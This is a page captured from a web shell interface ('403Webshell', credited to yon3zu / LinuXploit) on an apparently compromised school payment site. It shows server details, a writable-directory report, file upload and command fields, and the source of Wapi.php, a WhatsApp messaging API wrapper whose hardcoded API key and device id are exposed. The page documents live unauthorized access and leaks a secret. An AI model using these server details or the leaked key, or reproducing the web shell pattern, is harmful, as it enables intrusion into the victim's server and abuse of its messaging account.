403Webshell
Server IP : 216.106.184.20  /  Your IP : 216.73.216.234
Web Server : LiteSpeed
System : Linux asmodeus.in-hell.com 5.14.0-570.58.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 29 06:24:11 EDT 2025 x86_64
User : sekoaid1 ( 1891)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sekoaid1/spp.raudhatulfalah.sch.id/mts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/sekoaid1/spp.raudhatulfalah.sch.id/mts//Wapi.php
<?php

function CurlSend($action, $parameter)
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, "https://wapisender.com/api/v1/" . $action . "");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $parameter);
	$result = curl_exec($ch);
	$json = json_decode($result, true);
	return $json;
}

class WAPISENDER
{

	function __construct()
	{
		//API KEY 
		$this->key = 'b6CN4v5NgIzkzyVbZgzSYHiSKJMBEWSu';
		// device
		$this->device = 'kb2tyj';
	}



	public function SendMessage($pesan, $nomer)
	{
		$request = array(
			'key' => $this->key,
			'device' => $this->device,
			'destination' => $nomer,
			'message' => $pesan
		);
		$post = CurlSend('send-message', $request);
		if ($post == true) {
			return $post;
		} else {
			return $post['message'];
		}
	}
	public function sendMessageGroup($group_id, $text)
	{
		$request = array(
			'key' => $this->key,
			'device' => $this->device,
			'group_id' => $group_id,
			'message' => $text
		);
		$post = CurlSend('send-message', $request);
		if ($post == true) {
			return $post;
		} else {
			return $post['message'];
		}
	}
	public function SendImage($nomer, $source, $filename, $caption)
	{
		$request = array(
			'key' => $this->key,
			'device' => $this->device,
			'destination' => $nomer,
			'image' => base64_encode(file_get_contents($source)),
			'filename' => $filename,
			'caption' => $caption
		);
		$post = CurlSend('send-image', $request);
		if ($post == true) {
			return $post;
		} else {
			return $post['message'];
		}
	}
	public function SendVideo($nomer, $source, $filename, $caption)
	{
		$request = array(
			'key' => $this->key,
			'device' => $this->device,
			'destination' => $nomer,
			'video' => base64_encode(file_get_contents($source)),
			'filename' => $filename,
			'caption' => $caption
		);
		$post = CurlSend('send-image', $request);
		if ($post == true) {
			return $post;
		} else {
			return $post['message'];
		}
	}

	public function SendAudio($nomer, $audio, $filename)
	{
		$request = array(
			'key' => $this->key,
			'device' => $this->device,
			'destination' => $nomer,
			'audio' => base64_encode(file_get_contents($audio)),
			'filename' => $filename
		);
		$post = CurlSend('send-audio', $request);
		if ($post == true) {
			return $post;
		} else {
			return $post['message'];
		}
	}
	public function SendDoc($nomer, $doc, $filename, $caption)
	{
		$request = array(
			'key' => $this->key,
			'device' => $this->device,
			'destination' => $nomer,
			'document' => base64_encode(file_get_contents($doc)),
			'filename' => $filename,
			'caption' => $caption
		);
		$post = CurlSend('send-document', $request);
		if ($post == true) {
			return $post;
		} else {
			return $post['message'];
		}
	}
	public function SendLoc($nomer, $lat, $long, $address)
	{
		$request = array(
			'key' => $this->key,
			'device' => $this->device,
			'destination' => $nomer,
			'lat' => $lat,
			'long' => $long,
			'address' => $address
		);
		$post = CurlSend('send-location', $request);
		if ($post == true) {
			return $post;
		} else {
			return $post['message'];
		}
	}
	public function AddMember($group, $nomer)
	{
		$request = array(
			'key' => $this->key,
			'device' => $this->device,
			'group_id' => $group,
			'contact_number' => $nomer,
			'action' => "add",
		);
		$post = CurlSend('group-member', $request);
		if ($post == true) {
			return $post;
		} else {
			return $post['message'];
		}
	}
	public function KickMember($group, $nomer)
	{
		$request = array(
			'key' => $this->key,
			'device' => $this->device,
			'group_id' => $group,
			'contact_number' => $nomer,
			'action' => "kick",
		);
		$post = CurlSend('group-member', $request);
		if ($post == true) {
			return $post;
		} else {
			return $post['message'];
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit